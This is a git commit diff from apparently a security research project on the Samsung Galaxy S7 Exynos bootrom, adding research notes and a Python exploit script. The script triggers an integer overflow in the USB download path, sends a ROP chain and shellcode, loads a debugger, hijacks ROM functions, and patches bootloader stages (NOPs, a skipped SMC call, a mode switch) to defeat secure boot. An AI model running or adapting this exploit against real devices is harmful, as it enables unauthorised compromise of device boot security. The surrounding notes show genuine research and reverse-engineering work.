adds print screen binary. Not working for now
This commit is contained in:
parent
9b12fe8c33
commit
d187b06980
@ -232,6 +232,30 @@ So, I've written something to dump the location of thte TTBR0_EL3 table, before
|
||||
df['TTBR0_EL3'] = [blub]
|
||||
df.to_pickle('ttbr0_el3.pkl')
|
||||
|
||||
|
||||
I tried modifying some code to write text to the screen. In order to view whether this would at all be possible, I tried modifying code that would alter the message printed when booting normally (it would print: USB RECOVERY MODE). But it would appear that this is already in space that is by then not accessible anymore. The 'str' function crashes the device. Doesn't really matter where I do this, but the space seems immutable.. The movz and movk is because I was having issues moving data into registers.
|
||||
|
||||
.. code:: python
|
||||
|
||||
# Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
|
||||
for i in range(0x8f008cb8, 0x8f008d14, 4):
|
||||
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
|
||||
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
|
||||
|
||||
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10
|
||||
shellcode = f"""
|
||||
// Load the target address (0x8f06ab10) into x21
|
||||
movz x21, #0x8f06 // Load the high half of the address
|
||||
movk x21, #0xab10, lsl #16 // Load the low half of the address
|
||||
|
||||
// Load the value 'aaaa' (0x6161616161616161) into x22
|
||||
movz x20, #0xbeef
|
||||
|
||||
// Write the contents of x20 to the bytes where x21 points to
|
||||
str x20, [x21]
|
||||
"""
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
self.cd.memwrite_region(0x8f008cb8, shellcode)
|
||||
|
||||
It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33.
|
||||
|
||||
|
||||
|
@ -41,7 +41,7 @@ TARGET_OFFSETS = {
|
||||
def wait_for_device():
|
||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None:
|
||||
pass
|
||||
|
||||
|
||||
def wait_disconnect():
|
||||
while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None:
|
||||
pass
|
||||
@ -78,7 +78,7 @@ class ExynosDevice():
|
||||
continue
|
||||
break
|
||||
|
||||
try:
|
||||
try:
|
||||
self.handle.getDevice().getSerialNumber()
|
||||
except Exception as e:
|
||||
if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO:
|
||||
@ -86,11 +86,11 @@ class ExynosDevice():
|
||||
sys.exit(1)
|
||||
else:
|
||||
raise e
|
||||
|
||||
|
||||
# claim usb interface
|
||||
self.handle.claimInterface(0)
|
||||
print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}")
|
||||
|
||||
|
||||
def disconnect(self):
|
||||
"""Disconnect the device"""
|
||||
self.handle.releaseInterface(0)
|
||||
@ -110,7 +110,7 @@ class ExynosDevice():
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0)
|
||||
assert(res == 0)
|
||||
return transferred.value
|
||||
|
||||
|
||||
def test_bug_2(self):
|
||||
"""Interger overflow in last packet if reamining size is 1."""
|
||||
transferred = ctypes.c_int()
|
||||
@ -118,11 +118,11 @@ class ExynosDevice():
|
||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0)
|
||||
assert res == 0
|
||||
|
||||
|
||||
payload = b"\xaa" * 0x200
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
||||
assert res == 0
|
||||
|
||||
|
||||
payload = b"\xaa" * 0x200
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0)
|
||||
while True:
|
||||
@ -136,26 +136,26 @@ class ExynosDevice():
|
||||
payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0)
|
||||
|
||||
assert (len(payload) == BLOCK_SIZE)
|
||||
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
||||
res = self.write(payload, MAX_PAYLOAD_SIZE)
|
||||
|
||||
for i in range(200):
|
||||
for i in range(200):
|
||||
print(hex(self.send_empty_transfer()))
|
||||
|
||||
|
||||
print('Bug probably available')
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
|
||||
def send_normal_stage(self, payload):
|
||||
"""Send next boot stage to the device"""
|
||||
# construct dl_data
|
||||
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
||||
dpayload = struct.pack("<II", 0, (len(payload) + 8 + 2))
|
||||
dpayload = dpayload + payload + b"\x00" * 2 # add footer
|
||||
transferred = ctypes.c_int()
|
||||
transferred = ctypes.c_int()
|
||||
for block in range(0, len(dpayload), BLOCK_SIZE):
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, dpayload[block:block + BLOCK_SIZE], len(dpayload[block:block + BLOCK_SIZE]), ctypes.byref(transferred), 0)
|
||||
assert res == 0, "Error sending payload"
|
||||
p_ok("Sent stage")
|
||||
|
||||
|
||||
|
||||
def unsecure_boot(self, exploit=False):
|
||||
'''
|
||||
@ -183,29 +183,29 @@ class ExynosDevice():
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
||||
# self.send_normal_stage(open("../S7/sboot.bin.4.bin", "rb").read())
|
||||
pass
|
||||
|
||||
|
||||
def exploit(self, payload: bytes):
|
||||
'''
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||
Exploit the Exynos device, payload of 502 bytes max. This will send stage1 payload.
|
||||
'''
|
||||
assert len(payload) <= MAX_PAYLOAD_SIZE, "Shellcode too big"
|
||||
|
||||
current_offset = TARGET_OFFSETS[self.target][0]
|
||||
xfer_buffer_start = TARGET_OFFSETS[self.target][1] # start of USB transfer buffer
|
||||
transferred = ctypes.c_int()
|
||||
|
||||
|
||||
size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8 + 6 # max_uint32 - header(8) + data(n) + footer(2)
|
||||
#size_to_overflow = 0x100000000 - current_offset + xfer_buffer_start + 8
|
||||
max_payload_size = 0x100000000 - size_to_overflow
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
ram_size = ((size_to_overflow % CHUNK_SIZE) % BLOCK_SIZE) #
|
||||
|
||||
# Assert that payload is 502 bytes
|
||||
payload = payload + ((max_payload_size - len(payload)) * b"\x00")
|
||||
assert len(payload) == max_payload_size, "Invalid payload. Size is wrong"
|
||||
|
||||
|
||||
# First send payload to trigger the bug
|
||||
bug_payload = p32(0) + p32(size_to_overflow) + payload[:MAX_PAYLOAD_SIZE] # dummy packet for triggering the bug
|
||||
bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload))
|
||||
@ -213,7 +213,7 @@ class ExynosDevice():
|
||||
assert res == 0, "Error triggering payload"
|
||||
assert transferred.value == len(bug_payload), "Invalid transfered size"
|
||||
current_offset += len(bug_payload) - 8 # Remove header
|
||||
|
||||
|
||||
cnt = 0
|
||||
while True:
|
||||
if current_offset + CHUNK_SIZE >= xfer_buffer_start and current_offset < xfer_buffer_start:
|
||||
@ -224,7 +224,7 @@ class ExynosDevice():
|
||||
if current_offset > 0x100000000:
|
||||
current_offset = current_offset - 0x100000000 #reset 32 byte integer
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
|
||||
remaining = (TARGET_OFFSETS[self.target][1] - current_offset)
|
||||
assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet"
|
||||
if remaining > BLOCK_SIZE:
|
||||
@ -233,7 +233,7 @@ class ExynosDevice():
|
||||
current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE)
|
||||
cnt += 1
|
||||
print(f"{cnt} {hex(current_offset)}")
|
||||
|
||||
|
||||
# Build ROP chain.
|
||||
rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2)
|
||||
transferred = ctypes.c_int(0)
|
||||
@ -266,7 +266,7 @@ class ExynosDevice():
|
||||
concrete_device.ga_vbar_location = 0x206d000 + 0x1000
|
||||
concrete_device.ga_storage_location = 0x206d000
|
||||
concrete_device.ga_stack_location = 0x206b000
|
||||
|
||||
|
||||
concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
||||
concrete_device.arch_dbg.read = self.usb_read
|
||||
concrete_device.arch_dbg.write = self.usb_write
|
||||
@ -287,14 +287,14 @@ class ExynosDevice():
|
||||
p = p32(count) + b"\xaa" * (0x200 - 4)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100)
|
||||
assert res == 0, f"Error sending data ({res})"
|
||||
|
||||
|
||||
def _recv_data():
|
||||
transferred.value = 0
|
||||
buf = ctypes.c_buffer(b"", 0x200)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
|
||||
res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100)
|
||||
assert res == 0, f"Error receiving data ({res})"
|
||||
hexdump(buf.raw)
|
||||
|
||||
|
||||
# Should have received some bytes
|
||||
while True:
|
||||
_send_data()
|
||||
@ -323,7 +323,7 @@ class ExynosDevice():
|
||||
"""
|
||||
Sets up guppy debugger on the device itself.
|
||||
"""
|
||||
|
||||
|
||||
def _setup_debugger():
|
||||
'''
|
||||
Setup the debugger as a concrete device
|
||||
@ -351,15 +351,15 @@ class ExynosDevice():
|
||||
self.usb_write(debugger[block:block+0x200])
|
||||
# time.sleep(.5) # Wait a little bit
|
||||
assert self.usb_read(0x200) == b"GiAs", "No response from debugger"
|
||||
|
||||
|
||||
# Test basic functionality
|
||||
self.usb_write(b"PING")
|
||||
r = self.usb_read(0x200)
|
||||
assert r == b"PONG", f"Invalid response from device: {r}"
|
||||
|
||||
|
||||
_initial_run_debugger()
|
||||
_setup_debugger()
|
||||
|
||||
|
||||
|
||||
def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
|
||||
"""
|
||||
@ -388,7 +388,7 @@ class ExynosDevice():
|
||||
self.cd.restore_stack_and_jump(entry)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
|
||||
self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
|
||||
|
||||
|
||||
|
||||
def dumb_interact(self, dump_imems=False):
|
||||
'''
|
||||
@ -398,7 +398,7 @@ class ExynosDevice():
|
||||
self.cd.arch_dbg.state.auto_sync_special = False
|
||||
logger.debug('State after setting up initial debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
|
||||
def first_debugger():
|
||||
debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x2069000, debugger)
|
||||
@ -412,7 +412,7 @@ class ExynosDevice():
|
||||
### Get whereabouts of the debugger and current processor state
|
||||
logger.debug('State after relocating debugger')
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
|
||||
|
||||
def memdump_imem():
|
||||
"""
|
||||
Dumps the internal memory of the device (0x2020000 - 0x2070000).
|
||||
@ -422,7 +422,7 @@ class ExynosDevice():
|
||||
# print(hex(block))
|
||||
dumped += self.cd.memdump_region(block, 0x200)
|
||||
return dumped
|
||||
|
||||
|
||||
AUTH_BL1 = 0x00012848 # Location of the authentication function
|
||||
def auth_bl1(lr=0x2069000):
|
||||
# Load the firmware
|
||||
@ -432,67 +432,67 @@ class ExynosDevice():
|
||||
self.cd.restore_stack_and_jump(AUTH_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
|
||||
BOOT_BL1 = 0x00019310 # Location of the boot function
|
||||
def boot_bl1(lr=0x2069000):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(BOOT_BL1)
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
|
||||
JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot
|
||||
def jump_bl1(lr):
|
||||
self.cd.arch_dbg.state.LR = lr
|
||||
self.cd.restore_stack_and_jump(JUMP_BL1)
|
||||
|
||||
|
||||
# Always hijack rom_usb_download function:
|
||||
rom_usb_download = self.cd.memdump_region(0x020200dc, 4)
|
||||
self.cd.memwrite_region(0x020200dc, p32(0x2069000))
|
||||
|
||||
|
||||
# Try loading bl1
|
||||
bl1 = open("../S7/bl1.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02021800, bl1)
|
||||
self.usb_write(b"FLSH") # Flush cache, as Frederic does
|
||||
self.cd.test_connection()
|
||||
self.cd.test_connection()
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
# boot_bl1(DEBUGGER_ADDR)
|
||||
self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download
|
||||
self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||
jump_bl1(DEBUGGER_ADDR)
|
||||
|
||||
|
||||
# Returns on usb_download function
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
self.cd.arch_dbg.state.print_ctx()
|
||||
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
||||
dl_ready, next_stage = struct.unpack("<II", self.cd.memdump_region(0x02021518, 8))
|
||||
bl31 = open("../S7/bl31.bin", "rb").read()
|
||||
self.cd.memwrite_region(0x02024000, bl31)
|
||||
self.cd.memwrite_region(0x02021518, p32(1)) # Set dl_ready to 1
|
||||
self.cd.memwrite_region(0x02021518 + 4 , p32(self.cd.arch_dbg.state.X0))
|
||||
|
||||
|
||||
self.cd.arch_dbg.state.X0 = 0
|
||||
self.cd.restore_stack_and_jump(0x020219c8)
|
||||
pass
|
||||
|
||||
|
||||
# assert len(bl31) % 0x200 == 0, "Size needs to be 512 bytes aligned"
|
||||
# self.cd.memwrite_region(self.cd.arch_dbg.state.X0, p32(147456)) # Update amount of blocks
|
||||
|
||||
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
# self.cd.restore_stack_and_jump(0x02022a08)
|
||||
# Patches
|
||||
# self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||
# self.cd.memwrite_region(0x2022948 + 4, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR))
|
||||
|
||||
|
||||
# Patch stupid error function
|
||||
# self.usb_write(b"FLSH") # Flush cache
|
||||
|
||||
|
||||
# Download next stage?
|
||||
lr = self.cd.arch_dbg.state.LR
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
# self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
pass
|
||||
|
||||
# Overwrite jump back to the debugger from functions encountered during jump_bl1
|
||||
self.cd.memwrite_region(0x020200e8, p32(0x020c0000)) # Overwrite line register to jump back to debugger (see code flow at 0x02021800 +0x10, after the bl1 has been written to memory at this address)
|
||||
self.cd.memwrite_region(0x020200dc, p32(0x020c0000))
|
||||
|
||||
|
||||
def hijack_brom_weird():
|
||||
print(f"From = {hex(self.cd.arch_dbg.state.LR - 4)} X0 = {hex(self.cd.arch_dbg.state.X0)}")
|
||||
self.cd.restore_stack_and_jump(0x00000314)
|
||||
@ -509,14 +509,14 @@ class ExynosDevice():
|
||||
except Exception as e:
|
||||
pass
|
||||
handle_weird_brom()
|
||||
|
||||
|
||||
### For getting special registers. Non-writeable registers are detected. (UXN, PXN, etc)
|
||||
# self.cd.jump_to(0x2069000)
|
||||
# assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
# self.cd.fetch_special_regs()
|
||||
|
||||
|
||||
self.cd.memwrite_region(0x02022a08, self.cd.arch_dbg.sc.mov_0_w0_ins + self.cd.arch_dbg.sc.ret_ins)
|
||||
|
||||
|
||||
self.cd.arch_dbg.state.X0 = 1
|
||||
self.cd.restore_stack_and_jump(self.cd.arch_dbg.state.LR)
|
||||
self.usb_read(0x200) # GiAs
|
||||
@ -524,7 +524,7 @@ class ExynosDevice():
|
||||
self.cd.arch_dbg.state.LR = 0x2069000
|
||||
self.cd.restore_stack_and_jump(0x00000314)
|
||||
pass
|
||||
|
||||
|
||||
### UXN and PXN seem to be present over the USB stack (02021800+)
|
||||
shellcode = f"""
|
||||
ldr x0, debugger_addr
|
||||
@ -540,7 +540,7 @@ class ExynosDevice():
|
||||
|
||||
# bl31 = bl31[:0x14] + self.cd.arch_dbg.sc.branch_absolute(0x2069000) + bl31[0x24:] # Overwrite jump back to debugger
|
||||
# # Write bl31 at 0x02021800 and authenticate
|
||||
|
||||
|
||||
auth_bl1(0x020c0000)
|
||||
|
||||
# Jump to bl31
|
||||
@ -548,7 +548,7 @@ class ExynosDevice():
|
||||
pass
|
||||
|
||||
# VERY OLD
|
||||
|
||||
|
||||
#000125b4
|
||||
# self.cd.arch_dbg.state.LR = 0x2069000 #jump back to debugger when finished
|
||||
# self.cd.restore_stack_and_jump(0x00012814)
|
||||
@ -572,7 +572,7 @@ class ExynosDevice():
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
|
||||
|
||||
|
||||
def get_ttbr0_el3(self):
|
||||
"""
|
||||
@ -607,8 +607,8 @@ class ExynosDevice():
|
||||
assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
|
||||
|
||||
shellcode = f"""
|
||||
mov x1, lr
|
||||
ret
|
||||
mov x1, lr
|
||||
ret
|
||||
"""
|
||||
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
@ -619,7 +619,7 @@ class ExynosDevice():
|
||||
assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
|
||||
print(f'Jumped to {hex(address)} and back')
|
||||
|
||||
|
||||
|
||||
def debugger_boot(self):
|
||||
"""
|
||||
Boot into USB recovery mode using the debugger.
|
||||
@ -682,13 +682,13 @@ class ExynosDevice():
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
### Check if authentication was successful - X0 should not be 0??
|
||||
# assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!"
|
||||
|
||||
|
||||
# BL1 is loaded, now authenticate and patch it
|
||||
auth_bl1(DEBUGGER_ADDR)
|
||||
self.usb_write(b"FLSH") # Flush cache (Frederic does this..)
|
||||
|
||||
# Hijack ROM download function
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
hijacked_fun = u32(self.cd.memdump_region(0x020200dc, 4))
|
||||
self.cd.memwrite_region(0x020200dc, p32(DEBUGGER_ADDR)) # hijack ROM_DOWNLOAD_USB for BL31
|
||||
self.cd.memwrite_region(0x02021880, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR, branch_ins="br"))
|
||||
|
||||
@ -703,11 +703,11 @@ class ExynosDevice():
|
||||
|
||||
# And jump into BL1 to execute it
|
||||
jump_bl1(DEBUGGER_ADDR)
|
||||
|
||||
|
||||
# ==== BL31 ====
|
||||
# Assure that the debugger is still alive
|
||||
assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger"
|
||||
|
||||
|
||||
# Get current LR, and store it. Then set LR to debugger.
|
||||
lr = self.cd.arch_dbg.state.LR
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
@ -718,7 +718,7 @@ class ExynosDevice():
|
||||
self.connect_device()
|
||||
self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.2.bin", "rb").read())
|
||||
time.sleep(2)
|
||||
|
||||
|
||||
# Assure that the debugger is returning (obligatory assuration)
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
@ -726,12 +726,12 @@ class ExynosDevice():
|
||||
|
||||
# Set LR to continue boot flow
|
||||
self.cd.restore_stack_and_jump(lr)
|
||||
|
||||
|
||||
# Assure return to debugger
|
||||
time.sleep(2)
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.cd.memwrite_region(0x02031008, b"ELH")
|
||||
|
||||
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
TTBR0_EL3 = 0x02035600 # Zeroed out
|
||||
|
||||
@ -743,13 +743,13 @@ class ExynosDevice():
|
||||
|
||||
# Jump into BL31 and execute it
|
||||
self.cd.restore_stack_and_jump(0x02024010)
|
||||
|
||||
|
||||
# Obligatory reconnect and check of debugger
|
||||
time.sleep(2)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
self.usb_read(0x200) # GiAs
|
||||
BL31_ra = self.cd.arch_dbg.state.LR
|
||||
|
||||
|
||||
self.cd.arch_dbg.fetch_special_regs()
|
||||
print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)')
|
||||
print(f'TTBR0_EL3: {hex(self.cd.arch_dbg.state.TTBR0_EL3)}, TTBR1_EL2: {hex(self.cd.arch_dbg.state.TTBR0_EL2)}, TTBR0_EL1: {hex(self.cd.arch_dbg.state.TTBR0_EL1)}')
|
||||
@ -787,53 +787,101 @@ class ExynosDevice():
|
||||
BL33_ptr = self.cd.arch_dbg.state.X0
|
||||
BL33_LR = self.cd.arch_dbg.state.LR
|
||||
self.cd.arch_dbg.state.LR = DEBUGGER_ADDR
|
||||
|
||||
|
||||
# self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)
|
||||
# Disable this to keep access to the debugger after senindg the next stage
|
||||
self.cd.arch_dbg.state.X23 = DEBUGGER_ADDR # TEMPORARY
|
||||
|
||||
self.cd.restore_stack_and_jump(hijacked_fun)
|
||||
|
||||
# ==== Stage 5 ====
|
||||
# Sends stage 5 (BL33) but returns to debugger after sending.
|
||||
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||
# Sends stage 5 (BL33) but returns to debugger after sending.
|
||||
stage4 = open("../S7/g930f_latest/g930f_sboot.bin.4.bin", "rb").read()
|
||||
|
||||
print_payload = open("/home/jonathan/projects/samsung_s7/source/screen_print/print.bin", "rb").read()
|
||||
off = stage4.find(bytes.fromhex("fd 7b bd a9 fd 03 00 91 f3 53 01 a9 d4 08 00 d0 f3 03 01 2a a0 17 00 f9"))
|
||||
stage4 = stage4[off:] + print_payload + stage4[off+len(print_payload):]
|
||||
|
||||
self.send_normal_stage(stage4)
|
||||
self.connect_device()
|
||||
self.usb_read(0x200) # GiAs
|
||||
|
||||
# # Modify something in BL33
|
||||
# # Modify something in BL33
|
||||
print(self.cd.arch_dbg.state.print_ctx())
|
||||
print(self.cd.memdump_region(0x8f063710, 0x8))
|
||||
self.cd.memwrite_region(0x8f063710, struct.pack('>I', 0x53614d74))
|
||||
print(self.cd.memdump_region(0x8f063710, 0x8))
|
||||
|
||||
# Modify USB Recovyer mode string to: NFI Patched BL33
|
||||
patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33'
|
||||
# self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33')
|
||||
# patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33'
|
||||
# self.cd.memwrite_region(0x8f06ab10, patch_string)
|
||||
|
||||
# Print state of x30/LR on screen
|
||||
# self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0xa40000f9))
|
||||
self.cd.memwrite_region(0x8f063718, struct.pack('>I', 0x61616161))
|
||||
|
||||
# Write NOP from 0x8f008cb8 to 0x8f008d14
|
||||
self.cd.memwrite_region(0x8f008cb8, b'\x1f\x20\x03\xd5' * 10)
|
||||
### ==================== Writing nops to code cave
|
||||
# Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite
|
||||
for i in range(0x8f008cb8, 0x8f008d14, 4):
|
||||
self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5')
|
||||
#self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
|
||||
|
||||
# Write opcode that writes 'aaaaaaaa' at 0x8f06ab10 +0x8
|
||||
shellcode = f"""
|
||||
mov x21, #0x1
|
||||
"""
|
||||
shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
self.cd.memwrite_region(0x8f008cb8, shellcode)
|
||||
# Overwrite the data pointer showing 'USB Recovery Mode' to something else
|
||||
# self.cd.memwrite_region(0x8f01dc00, struct.pack('>I', 0x24080090))
|
||||
|
||||
# Overwrite a str to a something else
|
||||
# self.cd.memwrite_region(0x8f01dc28, struct.pack('>I', 0xe40300f9))
|
||||
|
||||
# Nop initial show usb recovery mode screen function
|
||||
# self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0x1f2003d5))
|
||||
self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0xe4ff9fd2))
|
||||
|
||||
# Modify a mov function (0xffff into x4). If this is not nopped, or adjusted, the device will crash. But will try to continue booting (?)
|
||||
self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0x1f2003d5)) #0xe5031daa.
|
||||
|
||||
# Overwrite log function to display screen at end of nops
|
||||
self.cd.memwrite_region(0x8f02265c, struct.pack('>I', 0xbbffff97)) #0xbbffff97
|
||||
# ==================
|
||||
|
||||
# for i in range(0x8f008cd8, 0x8f008cf4, 4):
|
||||
# self.cd.memwrite_region(i, struct.pack('>I', 0x1f2003d5))
|
||||
|
||||
# # Write shellcode to set some contents on x0 to x5 registers
|
||||
# shellcode = f"""
|
||||
# // x5 is the address at x0
|
||||
# mov x5, x0
|
||||
# mov x0, 0x1234
|
||||
# mov x1, 0x12
|
||||
# mov x2, 0xffff
|
||||
# mov x3, 0xffff
|
||||
# mov x4, 0xffff
|
||||
# bl 0x8f025fb8
|
||||
# // ret
|
||||
# """
|
||||
# shellcode = ks.asm(shellcode, as_bytes=True)[0]
|
||||
# self.cd.memwrite_region(0x8f008cd8, shellcode)
|
||||
|
||||
# Nop a adrp towards 0x8f09a000
|
||||
self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5))
|
||||
|
||||
# ODIN MODE to FACTORY mode
|
||||
self.cd.memwrite_region(0x8f0114f8, struct.pack('>I', 0x82008052))
|
||||
|
||||
# Nop a SMC call in BL2
|
||||
self.cd.memwrite_region(0x02059650, struct.pack('>I', 0x1f2003d5))
|
||||
|
||||
# Jump into a different function that continues the boot flow (different than BL33_LR)
|
||||
self.cd.restore_stack_and_jump(0x02024e5c)
|
||||
|
||||
pass
|
||||
|
||||
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
arg = argparse.ArgumentParser("Exynos exploit")
|
||||
arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
|
||||
arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False)
|
||||
arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False)
|
||||
|
||||
|
||||
args = arg.parse_args()
|
||||
exynos = ExynosDevice()
|
||||
|
||||
@ -843,7 +891,7 @@ if __name__ == "__main__":
|
||||
exynos.dump_memory(write=True)
|
||||
# exynos.usb_debug()
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if args.unsecure_boot:
|
||||
exynos.unsecure_boot()
|
||||
sys.exit(0)
|
||||
@ -857,5 +905,5 @@ if __name__ == "__main__":
|
||||
|
||||
exynos.setup_guppy_debugger()
|
||||
exynos.dumb_interact()
|
||||
|
||||
|
||||
sys.exit(0)
|
Binary file not shown.
18
source/screen_print/Makefile
Normal file
18
source/screen_print/Makefile
Normal file
@ -0,0 +1,18 @@
|
||||
ifeq ($(ANDROID_NDK_ROOT),)
|
||||
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
|
||||
endif
|
||||
|
||||
CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang
|
||||
AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar
|
||||
OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy
|
||||
